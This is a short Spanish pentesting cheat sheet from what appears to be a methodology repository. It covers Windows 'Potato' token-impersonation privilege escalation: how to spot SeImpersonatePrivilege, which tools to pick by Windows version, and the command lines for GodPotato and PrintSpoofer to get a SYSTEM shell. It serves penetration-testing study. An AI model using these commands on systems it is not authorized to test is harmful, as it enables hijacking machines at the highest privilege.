hacklab/JARVIS
1
0
Fork 0
Code Issues Pull requests Projects Releases Packages Wiki Activity Actions
JARVIS/nucleo/saber/conocimiento/04 - Privesc/Potato attacks.md
sito 7e06ce46cf saber: pack de metodologia publico (conocimiento/) + doc del RAG 
El repo trae ahora ~73 docs de metodologia de pentesting (estilo OSCP,
scrubeados de datos personales) que indexa.py indexa: un clon recien hecho ya
sabe de enumeracion, explotacion web, shells, privesc, Active Directory,
cracking... con los comandos, sin ningun dato privado. docs/rag.md lo refleja.
2026-08-16 17:58:41 +02:00

668 B
Raw Permalink Blame History

Potato attacks

Cuando whoami /priv muestra SeImpersonatePrivilege o SeAssignPrimaryTokenPrivilege → abuso de token a NT AUTHORITY\SYSTEM.

El gatillo

whoami /priv   →  busca SeImpersonatePrivilege = Enabled

Típico en cuentas de servicio (IIS, MSSQL sa, etc.).

La familia

JuicyPotato    → Windows antiguos
PrintSpoofer   → Windows 10/Server 2016-2019 (servicio de impresión)
GodPotato      → moderno, muy fiable hoy
RoguePotato / RottenPotato → variantes

Uso típico (GodPotato/PrintSpoofer)

GodPotato.exe -cmd "cmd /c whoami"
PrintSpoofer.exe -i -c cmd

Subes el .exe con Transferencia de ficheros.